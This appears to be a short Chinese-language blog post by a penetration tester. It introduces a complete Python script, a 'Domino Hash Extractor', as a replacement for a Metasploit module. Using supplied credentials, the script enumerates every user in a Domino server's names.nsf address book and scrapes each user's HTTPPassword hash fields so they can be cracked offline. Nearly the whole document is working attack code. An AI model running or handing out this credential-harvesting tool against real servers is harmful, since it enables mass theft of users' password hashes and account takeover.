最近常碰到 Domino 服务器,老样子先从 names.nsf 开始找密码破解
有时候 Metasploit 不知道为什么会出错,只好自己再造个轮子用了也还顺手

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# Updated at 2022-08-16 17:32
# Created by Chris Lin <chris(at)kulisu.me>

import asyncio

from argparse import ArgumentParser, Namespace
from datetime import datetime
from re import findall
from typing import Dict, List, Optional

from aiohttp import BasicAuth, ClientSession, ClientTimeout, TCPConnector


def get_iso8601_timestamp() -> str:
    """
    Get formatted ISO 8601 date string
    """

    return datetime.now().astimezone().strftime('%Y-%m-%dT%H:%M:%S.%f%z')


async def send_form_login(session: ClientSession, url: str, username: str, password: str, pattern='LoginForm') -> bool:
    """
    Send form authentication request and return True if succeed
    """

    result: bool = False

    try:
        url: str = f"{url}/names.nsf?Login"
        data: Dict[str, str] = {'Username': username, 'Password': password}

        async with session.post(url=url, data=data, allow_redirects=False) as response:
            if pattern not in await response.text(errors='ignore'):
                result = True
    except Exception as error:
        print(
            f"[E] {get_iso8601_timestamp()} Failed to invoke `send_form_login`"
            f", {error.__class__.__name__}: {error}"
        )

    return result


async def send_http_login(session: ClientSession, url: str, pattern='Error 401') -> bool:
    """
    Send HTTP authentication request and return True if succeed
    """

    result: bool = False

    try:
        url: str = f"{url}/names.nsf"

        async with session.get(url=url, allow_redirects=False) as response:
            if pattern not in await response.text(errors='ignore'):
                result = True
    except Exception as error:
        print(
            f"[E] {get_iso8601_timestamp()} Failed to invoke `send_http_login`"
            f", {error.__class__.__name__}: {error}"
        )

    return result


async def fetch_users_list(session: ClientSession, url: str, start: int = 1) -> List[str]:
    """
    Fetch all users list (pagination) from remote server
    """

    result: List[str] = []

    try:
        url: str = f"{url}/names.nsf/$defaultview?Readviewentries&Start={start}"

        # Fetch record ID (unid) and current index (position)
        # <viewentry position="30" unid="AD83ACC76CC5960E9CBD06E9D8C29407" noteid="1ABCD" siblings="1234">
        user_pattern: str = '<viewentry.*position=\"(.*?)\".*unid=\"(.*?)\".*>'

        # Fetch total record count (toplevelentries)
        # <viewentries timestamp="20220816T085800,01Z" toplevelentries="1234">
        page_pattern: str = '<viewentries.*toplevelentries=\"(.*?)\".*>'

        async with session.get(url=url, allow_redirects=False) as response:
            for user in findall(user_pattern, await response.text(errors='ignore')):
                if user and len(user) and user[-1] not in result:
                    result.append(user[-1])

            for page in findall(page_pattern, await response.text(errors='ignore')):
                if page and len(page) and int(page) > 0:
                    if int(user[0]) < int(page):
                        result.extend(await fetch_users_list(session, url, int(user[0]) + 1))
    except Exception as error:
        print(
            f"[E] {get_iso8601_timestamp()} Failed to invoke `fetch_users_list`"
            f", {error.__class__.__name__}: {error}"
        )

    return result


async def fetch_user_information(session: ClientSession, url: str, _id: str, fields: List[str]) -> Dict[str, str]:
    """
    Fetch detailed user information from remote server
    """

    result: Dict[str, str] = {}

    try:
        url: str = f"{url}/names.nsf/$defaultview/{_id.upper()}?OpenDocument"

        async with session.get(url=url, allow_redirects=False) as response:
            html: str = await response.text(errors='ignore')

            if html and len(html) and 'httppassword' in html.lower():
                for field in fields:
                    pattern: str = f"<input.*name=\"{field}\".*value=\"(.*?)\".*>"

                    for match in findall(pattern, html):
                        if match and len(match):
                            result[field] = match
                            break
    except Exception as error:
        print(
            f"[E] {get_iso8601_timestamp()} Failed to invoke `fetch_user_information`"
            f", {error.__class__.__name__}: {error}"
        )

    return result


async def main() -> None:
    # Customize aiohttp settings
    connector: TCPConnector = TCPConnector(ssl=False)
    timeout: ClientTimeout = ClientTimeout(total=300, connect=60)

    parser: ArgumentParser = ArgumentParser(description='Domino Hash Extractor')
    parser.add_argument('-t', '--target', help='Target URL, example: https://example.com', type=str, required=True)
    # TODO: separate username and password to both authentication protocols ?
    parser.add_argument('-u', '--username', help='Login Username, example: admin', type=str, required=True)
    parser.add_argument('-p', '--password', help='Login Password, example: 123456', type=str, required=True)
    parser.add_argument('-F', '--form-auth', help='Use form authentication', action='store_true')
    parser.add_argument('-H', '--http-auth', help='Use HTTP authentication', action='store_true')
    args: Namespace = parser.parse_args()

    if not args.form_auth and not args.http_auth:
        print(f"[E] {get_iso8601_timestamp()} Please specify either `--form-auth` or `--http-auth` option")
        exit(1)

    auth: Optional[BasicAuth] = BasicAuth(args.username, args.password) if args.http_auth else None

    fields: List[str] = [
        'DisplayName', '$dspHTTPPassword', 'HTTPPassword', 'dspHTTPPassword',
        'InternetAddress', 'Comment', 'LastMod', 'HTTPPasswordChangeDate',
    ]

    async with ClientSession(connector=connector, auth=auth, timeout=timeout, trust_env=True) as session:
        if args.form_auth:
            if await send_form_login(session, args.target, args.username, args.password):
                pass
            else:
                print(
                    f"[E] {get_iso8601_timestamp()} Failed to login as `{args.username}`, "
                    f"please check form credential"
                )

                exit(1)

        if args.http_auth:
            if await send_http_login(session, args.target):
                pass
            else:
                print(
                    f"[E] {get_iso8601_timestamp()} Failed to login as `{args.username}`, "
                    f"please check HTTP credential"
                )

                exit(1)

        users: List[str] = await fetch_users_list(session, args.target)

        if users:
            for i in range(0, len(users), 10):
                tasks: List[asyncio.Task] = []

                for user in users[i:i + 10]:
                    tasks.append(
                        asyncio.create_task(
                            fetch_user_information(session, args.target, user, fields)
                        )
                    )

                if tasks and len(tasks) > 0:
                    await asyncio.gather(*tasks, return_exceptions=True)

                    for task in tasks:
                        if task.result():
                            parsed: str = '\t'.join(task.result().values())
                            print(f"[v] {parsed}")
        else:
            print(f"[E] {get_iso8601_timestamp()} Failed to fetch users list, please check HTTP response")


if __name__ == '__main__':
    asyncio.run(main())